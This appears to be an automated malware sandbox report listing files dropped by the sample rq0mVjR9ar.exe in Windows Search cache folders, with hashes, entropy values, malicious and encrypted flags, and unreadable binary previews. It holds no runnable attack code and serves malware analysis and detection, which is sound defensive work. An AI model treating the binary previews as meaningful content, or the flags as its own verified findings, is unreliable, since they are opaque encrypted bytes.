Preview:	AAA_S.}xx...d..}.y....=%...V......G.3u.........:O...R.Y....AR...\..=c3`:.-.A.n._\|.@..N+3v..E....T...C..._.#ebov..A.....&.}M2.=.^WgC.>J.mv.N.uTU...c%.kx.s.....C..i...j}. .....${...W..... >O.r.%\|vk.\|.......r}H.w..".>.a..........H.i.k.......m.w.=.U..)L.A"".....wK.b.....$.4I'...$v.D%.`j..(.....-.5..7..(\|....=...P"..W.........V.........a\|............n.N..hk.yf.$. F....`.Y^2..jO.7...v..D......5..x2.....L....Z.-....L..q..w....n%.......v.O....1_n.....cT....?...o..Y.Q.....Y.......faE.~.......N.Q9..w..Z.3..u.\.Cp.......V.R3............{......Y.ty..J...$....<.Jc..Hz...Ov...&.!..m.......I].........)O.0.kTi.W:.](;.5....h..5.I..\|.Z.c..&......j\o...y.E.0. ...9t..-...,.L.U..K...u.h.B.....K;._..E. .;"..'.\| .x....'..z6I. F,.#.. ..g.P...&b.y.D.H..P..r..(T..U.p..EG..ID...L..!..A....Y.....jm.L.c.[.P\........g...g{.}c.Fd..z.%.-.........B.1.f..#.>b],....].Y..jtA.lM.............,9g.. ...5._.qh+.T.M.W.<..........T\..}G.L.O.<.N%...\|R..~.D..;..r...Q....&h.[..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{c82d26a9-b16c-48ba-9444-88303f538f65}\settingssynonyms.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	104051
Entropy (8bit):	7.998083179356946
Encrypted:	true
SSDEEP:	1536:+73lQPzacQhel0r/mgNVmuQCrI4Dkm6kiJEBhd5v/7PSazl329xSZamt6e/OaexJ:5fQygmv0N6kt75X7aa53Z6e3exH+8
MD5:	6023E3201F546A097B5B05130C074651
SHA1:	742E725B6AD5737CD072EF31FF3FBDF48B0C3B07
SHA-256:	2F4860C709DD3DA07971BDFBDA8FEE800E0BAF0E9B57EDE93552CE9D44CED74D
SHA-512:	0D58A03F452794991C8A6D1BC6648326970DEC68F95F92312CDD0E41152442E90DAB03D1C2ADADF38A5E41FF66FFFB698E071E41385922348A05B2605BAF50BC
Malicious:	true
Preview:	\|priO.wq.I.W..<..../zJ..g&bY{..:.eh..c.\|... .~.,....of..5A.S5.S.R^..7..]...;k..V..<.Us..J....\.r.....o81.....u.f.k.B.o.......g..z..4......rx?1...({.!4..$H....nG.....i.#....Y.....d.x......O.Eqm(l.<...3v...O......A)..[%...%.c.2P..]7..@..H.^}.$.c........X..H.8..........x..2.`.X..).e..j~c.....?[.D.r.5.."n.@@h..4.gQ..Nh..1...D....O...p...gx]..IX.>......H...rf..$.e=\|..~I.:DmE.Bb...`j....s..B.>.B........_..c........i.V...-...rY..)\kY.....+Q+J..>r.R...c.#d.N. Q:..(P......y.s07?.6.o.)0..g..-.`%.........A.......$}.?..b..%\i3JU..I{.N3...I...T.......w.Q.........u$4...!SD.....n....R.%'.h..o..Z.i-;......\6[....,...)..~:.b)T..2..bD.....9...z.@9...H@...]n.. g.[...K.S....>.*....+.......(.$6P5.>.......k!....&....z.z.9...D....Q%.=....V.tf2.e6]......d....3..u.$K.A.P...n.&...1.h.}...c>i.F..a.......o<....^ F#$....oZ...L.$...t}..C..x.U.S.....R.6.;..v...'I..T?...Y0..b....hX...\|...._.b.".....8].+.,}............v}.Q<?..B.n......0..{....np.\|..Qhe?..\....i:

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.584352248048561
Encrypted:	false
SSDEEP:	3072:1p0TQJAO979GSvASgqa0RunVHR/L7SEs6gS8Bej0E/MGhPiCBjCBsIcq0VRfHHEx:1pm+AI79GSvDja0Rs1qE/jjCxc81CdC
MD5:	53A61C1F916FD3093161D0981CB8DD02
SHA1:	795A4625CA8BFF9FF00D4DAD5886D8705FDD5AD8
SHA-256:	FB35ED84CA33DF6095907B0181F08EA76C399EB7B249435715CC06D300EDBF1A
SHA-512:	005D330BB272D3CF9D0B4D24C9C86A86D3F7B29D554A6D9FDA9B9542ADCA03A38B14E2926F5DD32A7ADC2E1F070815ADBC40B80126D080FC359ECA39E90C8EC8
Malicious:	true
Preview:	0.0......j~..a...<.c..\.{4Y..m$H+...-....Fn\ ....0A......q..V...].\|.!5.)........^..@.`.....N!.....x7...MKi@93#.r....M....._..[..!...7. .Q[..Ps.s.....m.D.G+.y}.....R_h.N^`I.H...O......].......(.Q..,..L.<._....\.1_W&ob'...C.. .@........;.T.^..A^S.t`..g......>G..G..yL..R..].w$A.t6f.7.f...8g.k..p_>.z.t.x...4_(saDk..AaV...:It......O...?..~M.....$.8an..m.....qWNN..s..v...=....3.iY..#.6.rbj.5m.....].....9..Y.i.u..K......G..l/.n&G.@LP9.:.U......I....^.L.uQ.._...-&.[.k....2C6iT..j.<... +.1MWBc....R....bDb.._j...!.#"e..}....G..A......j.....aj.&.........co....\..O.^.8.p.'......L...uF..K90...B3...i.J.){#.q..?.....{u.v4..`.........)W.D..9uW..E.[...J..{..Q.VK...<?...q.%......J.._.Z...@...V.a..6Y..F_N....~....._E.....[.{.]Z.-H;../.b..E.....X.M.xW.{,?..I........Ba)...&.{..,7..&...T....=Q%tn.<.V.J....6.Mb..^{...e..Mbr$k{B....?gm2...t..q.5..l8..5._.N..9........6Uz..$.+S.\...u. O...F...jF.r.....X..u.h.\...".Tu=.K...@...!I.....u.w..Pbr....WS...s0[.[..H.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.352849383608668
Encrypted:	false
SSDEEP:	3072:vWrnwHaA5YQF6HYcGOF1PiwN3XPQDZ6MWw9uuW1RLNPCQdPkigOwzcC9ECNEFME6:venwVbc9XiwVIDXuuW1xNqQWigOwoCND
MD5:	F2D06A74F14F9E103BBA6D44A7094086
SHA1:	C39D1976E76187725259A3D347DD2C71FB370CA6
SHA-256:	2E6622AAA9BDB91E82C9EBEDFB2CCE4A6B02E49D71CABF7151263D8B6AC9E26B
SHA-512:	EAC60DA1B2BC8D300F86FE274B359408BC69910BD051C2BEF81D9844A8109721D436E7477460D5825DDA51D809F7C905F091635C92655875A10FD431762EE20A
Malicious:	false
Preview:	........<..f..D&m)...h...j.NU{..^...".........W."...............n.B.D.s.'H... .lZP.....d/..9....r.EHGp.z.......Y....X...G(:...`\Xu..LX.V}.......".s..g>..dPxv.p.MbY..IC.\|..XxN..e.P.FRq.'.Y,hb...n1ox{..\|....a..,....w..`...?o.z...OZDq...OWv...;.,O..e._)>r........fn.. ..}2y............Zb.j...<....F.^.c9.nQ.:W..S..DQ\|_......~.g.\......B.e....Per3..P>b\".RZ.g.a.y....C9#<J"U..0@ ./.8.j..H...Q.r.vS^u.5y{..UiuC...:.O_..........A.a.W.(..E...NQ).......%..:.H...Ou.$.9..e...).......:0j.....1..%.L>.....I;..s."....n...A.V.q......t<.....c...9....dl..y.....Z.}...r..,.S3..V}..d5....MS..4.Q.gv...^....'xqU..90...Y....V..\.ngX..W.2.K.p.%...Z..p(.T].Z.].7I..._...v........0.2.Z.;#F{...U....A.SIR..X.........m.7~.....s...J.v=.c..4G\|u.z...1...h\|..Y...pOI..'.!Z.N,AD..tl....e..d.[.....xsU"!..ok.(...[L.C.1.PFuD....Z....\.......'.N..tIn(.{.........-...m.m@....D...7..$z./.2..E\...-......0....LmXSKj...f..m.a\|..TiJ...J....Q.N.{E.Dum..r..sU..a<Z..jx\.......a<S..q.s}...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{6f6a6616-c437-4533-b6a1-6b30da29cd38}\Settings.index

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658068755927684
Encrypted:	false
SSDEEP:	24576:0sp+y3VGjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuK:D+y3OCF8hR3z1rM3lVKSuK
MD5:	86D9174031D11CB85A239E3B8924E5CC
SHA1:	8CA613CD9983213630980330FEC0A094A0251A8C
SHA-256:	DD711F744CFFC0AADC18E3C61B5545F629A768920488AD7A827F098DDA9EEECE
SHA-512:	88ACFFDE5C62B64A1AA871B78B3643FE2BCD01F947FB8D3681B524B42BC74F0DBDF95FE4ADD1134299475C7C64B5A4B4EC7E67ACD3AD5AA3CEDCA339F1A20310
Malicious:	false
Preview:	Ej..D.K..1..^..,.ZQYC...?;.Z.......p..Fn...?.g4[....;RQe..").k....V..C......T6n.t...[7..].[gkm..o.J..c.iR... .n8......p.0..j.......E..'......:.....M...6....ZL.<...,$.q .^....9..j_.......N....&...R......V....v.\Ck.9+D..cU.=.Yc.X..:{.W.=n.YH+..o..L`..{PO.G............... ..WP..T./..T..R...uF.....]../._..v7.qxv.s[.r8m.\.i....Q!.?:Z.i(..?.....S...n....@...._l%.P..F...}..oX.1../...._w....[z'..ZN.5.....l"\|..L6..Y.q.<{G..z.[h...u.I.,.t4x..8..c..q.6....... ".fT.1......VIB;.n..j.}.....U..\..m...W.C9AM.1...N. q......i..T....#.l...V.uV.....x..>..(...}G...O.v\|..?.2..f#.`z........"....-@.YJ...Y^.>..c.m4......h.........R$....G@.k.Q3.$..2e.L......#..}.L7...D..........l...c2\...........$yL..dx.]../\[....7.....0.Mv.s...<.{u;8.P.%..t....?;"....`R^..u..)V. ....C(%..J..LJ.$......Z..H.-......E..Cu...W.Y".5../............=.z...........u...%.m45...%.U.&.UC...s....4(zw.h.M.w@.}.0%.4.}:.4l...z.PA]...E.........L?D.k...P..6.\|..:u..Y`.d.Z<q.kE...?Nv.L....`. 7JYG.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.5839892078758036
Encrypted:	false
SSDEEP:	6144:q2uiLFQ1zgH6EvBs+nMLFY/KRPqlAXhjCxc81Cd9s:gmu1zS6EvBsBLu23Xu
MD5:	FD1DD42BBE3892789FEB3DA386D4E25F
SHA1:	F7FF73639124D52ED7E959F4292DD8EC3CA55598
SHA-256:	3F32ADDA59FA52A1F9830B006A1E92AC967F0CCA4B9C6ECB29A63A7CE2964CE4
SHA-512:	0EB1AE18AE7163FD35C89A4D5D2566131C2F595D3ED8ACDA8B90FDC6555FA78B5DEE0DA054952D9ADC5EF8875C0678B7C38ED4EB4C423977A795350EB7E30A54
Malicious:	true
Preview:	0.0....4.t&.;.U.....K..D#T..A ..C^.Sq...@...._.k..Y.<....HK&....$......t...9..4_UI.Hd..z..#..m............~.a=.Wv4....0....s...!DR.f .....x:rS.rn5.F=&.Q..E7.%....C.T&D...s.t..../D..N(8.F.1h$u..e{.>p.;0Z.w.......R..:...G_...FY<..d..(@"x.....e.....K..;$hx....H...Rl;..c..x..R....#.......B...~...4f;97....<..>..d9.Rm.....pS.:.zr.......cFs.r.........^1.,.[....o.G.....ku..{0.].l.F...ZL.......".b'b..O....}....Lx....@s~mv..F..Ff.T.U".\|5.I"e..7...Bc..mb...A[ZdG..f.....q..7rr.3{...O.L....xo/...H.g......S.p..c,u..]D.p.o....4...5....g.te/b.hP.861$..d.ep..gM_d#)..YX....:...NQ.<......\|.f...!..n#@B.....1.P0.@Q~..y..^.eP...8...<Q.O.{+.s$.<2~e....U=.}... .wI..Z....$?..PL...V.;G.u..8..x.A..:.-(...i....=....a......V......"....&_...o.1.G.P7....l.hh.m.=..p9..Y.U.DU...d~n{.L&..~.pz%..\|T.c..,..O2..{.......@.9.u..d).;,...y2.5..A..4.{...%.Q.l..Z.{."c...T.o~.P..@J...K.$.L..h..q&.>.~"...K-0...?.F.o...._.7..-.ABq.......+...9-j..:\|.;....;U....%.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.351527519954657
Encrypted:	false
SSDEEP:	3072:CbUD7ln86U5lfohiv9I2br5HTsDNsDurlfM2zOwAgtEwCgC580CTbr2OIcC9ECN3:C8lzU51HdSm2tM2zIP+nn6O/CN1
MD5:	E785767BE76756584F30D74F17A88303
SHA1:	741D17038156999695F5872B13996824CA1B1844
SHA-256:	84C31807BAB15708DDCFA702FE739B0A61918EC76CCC782429EE14C0278A29A5
SHA-512:	D03F0DAA50DF301703DEB0FDCDF7F7641A1C4E3C8EC71F5FC41922EB7321AC37984494EA8AC5D077857AD81F3C1FB6AAD68885E120A589F3AB79CE8A382114D7
Malicious:	false
Preview:	........fx...."?.A..d....!..mCR^.Ia...? .W..elJ{(._.0.b..h....9.\|+....$.#.\|..y..kM.w......`..h.a....:..O.."......BQY/..U....cK@.L..#.Y.Yk..._...O.o:...C....U...f....Z...5..."....P...z.;:.t.OO.....f.6..0{..8.%...1=.0...8..6.7\|..:...M/.n$......JN.9z..........Or......)B..;y..r.:.\|..;z.;.\|;...\|.M.K...?..=.e0).....t......x.....'eZg'.W.$.k...Zix.....+a...s...J"?=.....\|..^.C.....4.. R50.i.R%dt&n.Ry..A..6....hC..[.>.._)`.eBk^.......K..&w..].^.s..#.../.dy.....x....c..Vx.m.4....y.&..C...l.....2$li.!......k..E.4u.y.ST...eE.B.2....g....Ly.i[.....T.N..p..[O...Q.t...-..^....;...o.G..X.Ra............l.n.[!Yy\|E..4$......j....F..R./.....WXc..g..F...S..g.m.l/\|x......>....B.)#.Y.X..]..B...M.L...K..x.~lJ..r5oW\..D9....\.&....3..T..W>..!..a.s.PB,..8.....t...t...[..s@...8.K..........c..MO..sB....dT.....B.@.(...hn.y..rY.t.H......c..Mu..$....A..4b.<........G...\|..z6....J.<......)......_.L..:.zJu....](..f'~-...g..g3%..Bsn......Q"]@.......~j[.r!.`....$...M..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{ac01b07d-c9ac-4d31-8220-3dc6d7aa0576}\Settings.index

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658473168345405
Encrypted:	false
SSDEEP:	24576:X5x5rhY5Gjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSui:X5FwgCF8hR3z1rM3lVKSui
MD5:	BDA60A52F049A6879209A085A8B1FFAE
SHA1:	77FD77E4305EE3F0ED745027CC718B784A68112B
SHA-256:	7E3C498DD0BC64901B48B2D9AB82E4CEE656103BEFC1E5378236C34669A5288F
SHA-512:	2AEAB966BEBE741EB1B483345F345159EE63786D724D28DE3EC233EF5DB791B9C469AE76FAACEEB88D4E06F35DD4EEC1BE6C351617345BDCD2801AF92A11B6DF
Malicious:	false
Preview:	Ej..D...j.:..'.Rd.D.5S%P/..?.M.R.....1o..Y....L.~g.#..!..'OL.r#...X...a.KL....Gh.#p.....H.?.bQ..u]7./..=s...... E.x9a.......PYL..X....u.53....0..#N...e^S........7....L.2...j..B..j.......oL...wN[..`..p...N.3.u.O.q.1....,...\|.....w.3b...O(.r......dH.....^F.5D..2.....^.T..X.].S......iQ..&..Hx.O.#.Z0.9..F..D.q.....l...G.....r...]eN...`....^R.W.9..B!.}.y...;....M.p.9..~.x\{`x.....Y...2..&.z..(3YAX=.&d7y....\....k.Q...GT...K....1.o...w....+....M........)F$v.L:..a).(E.....n.Z.~....5E......`.'..y_......%..w.....8.<J...uw_...W.q._.)..]...z..^K.7"...{...Jrk.............-J.@&.......!.r...2]...,...a.c.U,....+...c....f.Q..'4...^.........7.9LK.J.....";...RiA.kc.....Aq.UU.hg...C .9.."U....\..E.2.J...;..v.A/.;..Pu.G.)..X........e..H.$...a..f.F.`..LV...p....Z../].ZT...>{...7M.p@....f.(.+../...d.N*..e=..=.YG".H..X+Y.p.....V,.k/g.`..z..Dy(..i!H.f.2eq.....j.\|.%r(o.zU.#.V.j..Q..+......l..5........j-.e... P..^.q..(.,\b(D.1..{....f_>3C.L.n.....i

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409602890767950.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.998493353942739
Encrypted:	true
SSDEEP:	3072:M9exivFmwNJK+LrDL93B7fMq9zfF41a7V:Mgivc+MiLJB7Uda7V
MD5:	A3EC3F43C51A0B5642439BE876737A78
SHA1:	1F73B14AF5CCBC1586EA238C3A9BBFA3FCD03179
SHA-256:	1263DC0CE2686DF25AA1CB522E450CB338BA86556A6E083985306DEDA5B92F21
SHA-512:	F0066402980D0223C00EBD7FB5E10914AA8947119FFEF00A216E816250309B4CD2029348CDD74C25452954107A8C9C1F7EFD58309CEAAB2AD29AB62B5F091554
Malicious:	true
Preview:	[{"Sy...a.....Q"%.qt.K.......H0....!....0.......s.....x.e.x...r...Zqu....9:...&....7.$..{e.....YR.y..yt......hB_..m.y....=.k..c)....$..d-.J.yl...=.Bq.J...I......A.=....~],...Z...$...sLS.z.6...V.6M V#.^&....'..L\|[.a@.M...1.5...mdd.v.>.Id.V.....Ai[.~hT,.l.l.. ..._..D.?.]..yA....O..^.L57;l...F.........Gl$~...4.b.M......mg.i9F...dP...:..8....V.M..A..o..m..[...U..,.....P..."}.o..?.^......rn.".>....%...ui...../.Ng.Np..C.P...w.#.0...%.1....9CA.f\1..z.w.L.>G...>.&....."&Zx?....8o..$.k.....E.o.S1.....,...^......4..8...T...;.82.O.B..I........I...F..........W.pj..=L....!.O,...yG.I.Wj.....=F.9..x.qr-.U..p.._...Fp..Gr.T.o(..\|..........J...9.-..%.9...f.7..N.;..J.u...>.O.._...\|.h.Eu...G.LZ.:?\B.%.\|.s.93.&.....t.0.-n..] 2=....,..sX8......l..'...'...*QO.;w5.J.....7.....9.\|..E..q...:K[=..Bj{.O..'#.G.~3......~.5...1sv...(g....%...Y.....2.aD}'..`..ft6.p.{..JS.(....)...!..~=...HB..c..R..j......2G.....V.`.f/.q2.x..B.Nn8.m(..<u..X..d...,.\T.........Y2.M.......3

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603686917468.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	104142
Entropy (8bit):	7.998564508248005
Encrypted:	true
SSDEEP:	1536:1XU0MyXEYo5xdQ9zAvaizRIBWoDFfK9dNLW07kfMNuMBsmTqVo2UGlDdl9P:bMoER56KaizRI/FiBLfkE0mTEocDxP
MD5:	80341EA8124FA3541076F4A5CC09ABA0
SHA1:	FD6EBA6C6065529FB6B529DBC9E6665444CBCCE7
SHA-256:	1D9789F909032B59F381E0BF16D1CFA07FF28A81055192132FE4A395CFB32066
SHA-512:	BA4AB3DBD2D7A9DD453A3F2F1C8AEFB8786C48EFB5EE35F9C39BCD31214B9E7B4EBB8610903A48E90A5EEC3635BDCD1AB97C77D5DB669C69BEA7D39E7D117ADD
Malicious:	true
Preview:	[{"Sy....u.xa@F.."...V.V..i...Yw.....q.n...\....OX.<......w....0`.@G..........K..#c.l...V=..).......]..'..E.u.Ml...5\.....5C..ec.&...t......w.:\.....<u.I(^./^1..q$R8.q.<.Iw.....a7N....,).]......V>O...f.."E..F..+...\.$.....{.1..o.....S....-UQ.........Q.q.......<.Z...ED..j....."..B#?q`.0.'..x.3.\|tx..-..m..47...."....j.2.\W.P..^.N.}...l...w.....B...Q.z..9..f.U.<.d..ie..~3&c....4.........-.2..8.$a=..Y{H)).;..2~.....\.{.1I..9.uz.5..;..........%.rS.vv....h.............5...)r.kA.8x...b.....u.I...l\|.U.6...=.s;+I..................r=G.{..;..F>1{Vz..m/.(}.'f./.@3..kQ.YI./.....{+..C.o.$.......0d.Ti'.z0H.[1..1E].c'.e\.#....`N_.....}m:h.L.*c...d........)R..;....(e..d....`O.v..........8.Y.....\.....?...+..=...<i......{.J.&<.....b......@.w./....}2~...v!%5'. ......-%O..oyj.........0.o:.T..=y.b.I<l....y.z.9....R.n.Ph...D.acd.T..5....E....08.f9...&..<..W.Pn4............y.x.Q.o....0..a....l.w^7....j...\|4.f.S....P..lS..-:w.../L"..&'l.e.b..#.j`..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603755735310.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	104142
Entropy (8bit):	7.998059236523186
Encrypted:	true
SSDEEP:	3072:9cbRJd3f+FLwd80SOQMXS1//YR0ErwQqIq:ebRJdP+FFgXS5Yhr9S
MD5:	F2A3FA86E313A6E3F5F8A09ADF032954
SHA1:	165FB836EA5229F2933D8C29939DECF7D48781ED
SHA-256:	374F51F44CD1481A20E3898A53FBD0B1ABCF925A02ED195C6A3CB04C170D5F91
SHA-512:	944A20841DE812BA2FEEA15329F64007E62A53BCB6CF7EFD0ABDF5A61A64DEF2F3AEEDB6945F0BD0A28FADA9B084B399BEBD69278F68B0C9EE568FA8E85F73F3
Malicious:	true
Preview:	[{"SyA.}....p.....A...k{......Q......h........`.N..hUJp<p.?`..,w.@D=......`...X.H.+..(1...O.3..\.zKZ...g.3^O....".f(.\jG....6:..x...oT$$... ..+3N..k.C....9....+..!....O. ..),.l..8V.A.....J\.^......+..a_.S...e..p'.F.4$.........a.Z@..(K.s5..J.).<....bc...V...c.Q7..........DoZx.2..o...B@UQ4....M.....eg..65?>..f]....J...rS.&....f.W.7.....d.h.rh...8....N.qTJ.E....6..XG...&J...=q.r...F....u..?]....B.......jW.m.....i.. ..Z.J.....4.f`^]K..............h..p3...6x.b>.b........gY.O\|9.0Z%..R..;.3\%.....1..A.>...p..Q.s....7.x.....d0Y~"{.xe..4?....z) '..K.9......=...`.[jH..3.%K...Q`. u).!....FF.k....3.g......P..M..Au..I..9z..>@.-.o......2"......IZ.j..o/x.o. 90.f.R...`g<.!...M$n...9..I:'...uJ..J...s.[.:..^....qT..^..Y.O....4.........3=...&+U....@..."c.`....H...&...*hou.~X...]..!JFM.X..T.....]..$....9...(q.:ep.L..@.$kN.W[s6H.;b6zs\|.:.....l...D&.'Q../#......mO{.(......q.6.2...x..ku}..0........R.@.......\|...+.gd..d..1..j.............?.o... .._.g....:.xc...F~.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409603873448744.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	105085
Entropy (8bit):	7.998376079740079
Encrypted:	true
SSDEEP:	3072:+qlymi7Zi6HJWKOg+3VfjdDyq6VKKrg2akm15l:+uzDKf+ZAVJ3m1f
MD5:	7F87D5B4F5A24C0AAFF25817D8D5BA7B
SHA1:	BE2A7BE125973C5B2C23CBB2E3CC4A86BC075EE5
SHA-256:	4373662AC73B06D10E9D14C395191D7A8A3EED04EC913D49A05EB4844D844AF2
SHA-512:	6D85AF1ADBE45D0B4430E8435558FDD67887FEE3246A435412817C4C846885A1EE9CA9AC1F8053E0CF081D1E51893707A73A1481854CAB82CC8FB2E55C8D2814
Malicious:	true
Preview:	[{"Sy.NK...P...lm..;.G6.9.R/;...H.hw.).L+/.1R).4+1.B....(.....!g).3...II.N.:......`..#2.x.1.c....E.e..=.b.A{..t..K.9........V..21....]Q.v....-T.X....6aS./....M.......'S)9...........S....%...jh...}.....QZ..(~./.TC.....?....B..uW...?Z..`.......5b.5.....W.8Oo........5#.y..V.... ...q.T.X.1.J@3].C)..~f........%...pC.e.......~.2.=.0`w..?.}M.f.fmX...V..;..{.A.q..D..C..J.F,;.=cpI.'.a....N.....x."$...V.:.).C..[..@>..3....i..f>h.Z....s..&\|~..V+z.P..../..=4....T..1.g.....=2D.1...B..~.e)eQ..{..=..;...._........$y..f.o&P...eLS...A..\(Y..e4.~s.H.;).D.E.{....i.......i< ~.+....+.D.........7.F....c...J#$.s..,r..b....5..]..."d...g.:gW.d..4.....~<...]80.)....x.lu.,c......q....?bt.I...[........9..........w4.p.....R....Y>...k<IVM7.3......$.....?4i.]../...?2 H.m..&./.q...xM{..."...\N..Vq......@v4(U.......".".^<..8W.V.m.K....7.H.I...M..4...^.Xu..........<.C.O..2.9.]m...N.....~.c..#....m..=...r..Gg...;.s.<..\....E.E.3.}.., `..&....G.-.(...._..p..........a.u..7

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604173107312.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	105103
Entropy (8bit):	7.998293120254298
Encrypted:	true
SSDEEP:	1536:8LIXYOp4ywmJ/Vapqx1t1FeZ1GXp4bRyS2sTb27qXjqD2bFVSqAV:8UB4xm1vqIXpeyS2s/GGqD221
MD5:	CE2E7CC3E56C9B76B6263387588F2961
SHA1:	077276CC6A40E33D2C3F4D3694126D55B9C67B1B
SHA-256:	F83528AFB29FA69A4188609E7C3F65729E5435189461C744595EF4C9E2A6EE61
SHA-512:	954B6C76797DF916898C6C5C62722C721BB0E77700FAC86B413DDF491919227D29C5428010FFE2EF27448418D4F48785ECA5F0D78483DEE5D5F243C02D717163
Malicious:	true
Preview:	[{"Sy....?.$#.Z..T....}..Ze.^..}..2.-..g...a.T......r......Q.e.Y......m...4f+Qf.?.Z..R...ut..B.+..uh..;G.o.......o$S.p.j..L..........G.3....R...!e..m....o]^X..$...K.......w.V$.E.Z.....t.#.d....y..w...U.....H+.....U..R.u..g.`..;...B..a.V.....D...C...kYOy..,.X.S\|b...oW..y~.tt..T.E/..I..].G...9:.w..6.3m..O!y.b..s1....=z..']H......i...n.Q;._^.:....Y.x.Ua..C.N=...j`...s...`....`D.C.......{j,......I/.y7......L[..]."...c&.F.b$>....#.K.2..b.M.T.w....Jc..?..'\...........=...\|l...19.E3l.....J...'..M.p...b.5.....H...;.....Y.?LV5.5......]Y\|Ki.W......\|....O..0qq.vd..2@...%...`e......~P!1...-.f ..<gs...^..%.#f..._.-z.......m..}..=..01.?...........PK..4.....Fg....7..\r._..b._..........;!..:.Nv.........z....}..V(Q...x;..'.H3.s......[{f.Ck..."...v..g......wV........cO.....6h..A?..QRj...l....K..%..kK.%b&...)..Vu.x...._.L..Ko8$.F.c!/....Jt.8.U...\|.....f..TK.m.O.N...v.....U>;.3*T...7...fM=&1!.......'.d..fR.....2....\4/S."...]`R.i.1..l..{..Dr.\...y....P .

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409604473729424.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	110962
Entropy (8bit):	7.998537265107174
Encrypted:	true
SSDEEP:	3072:COfiULSdKiSpcdnNjf8IBT+xI2899VBML:CXYzeo8+c93a
MD5:	F3871433039E04280D767BA0B1E9AA48
SHA1:	2C71E01B758465F239887B36DC8423DC9D7B26A5
SHA-256:	68C4043C95A4492E914B6F0035F044496A151400710C7BD2BD2B0E739204F24B
SHA-512:	992076131BEEFE26AB8C4505939C3C2ACDC425DD352A18FDF060EFEBCC84B954E2F40F0C84BC172BDF8F6514A0570E61228D40AAE8105FFAE25933EE8C2647AF
Malicious:	true
Preview:	[{"Sy.u..'H...{k>...l.....?...^.n.....:.........X...E...t".=+...mP.....9zO....y.G.T!>e...a....^..J.}.....uLU......6u....kd.v}f.n........t..~5!uP.br...;.(.......UN.DX.J..l.......vA..I$w)..;..).@..9j5-.......~.!...?sE..#H.o..6S.XK\..QJ......h.B..l.`.....\"w;7.m3JY.......l..........p...D.i$p.x....:.bG..6..AF&.C~...v.b.M.2s.K...&.].........lU@..j...i..N..X....3...W=...Q.=......K.......`.u....d....U....s...F.].K:.K...?...U.&............&lG.G..`..;..s/...bb..6.1._..;Ia_.-....\.(e.tbP.[..I..ky....N.xJ.)...T^.2rUG...(...5Y[..x{.y])......3...3r..FB.h.Nu..'....px..\....K]d.{...&...4....=.['...n_7..D.Q......_...>.8..9..i......_..b....W.\DQ.L.U....J.}I...+<.&5.....y,.....#..N.....+g<...\|..l.`tSd....:..rhs..{./.....m.{_.0X(...G.....>H.tE.....i..].~.jK....B.....z.C..../....;x^..K0.........:N..D....^..............M.)@g.d:..q=...V<.C<.g..36...h.\..&..7.Y."..\|.1...h..)W...DDz.g..@!.^.@.v7....NLATg.j^.]%"....d.`.....p.{.~B..I>=..uG...A.}.8Q.n.a..T}.....

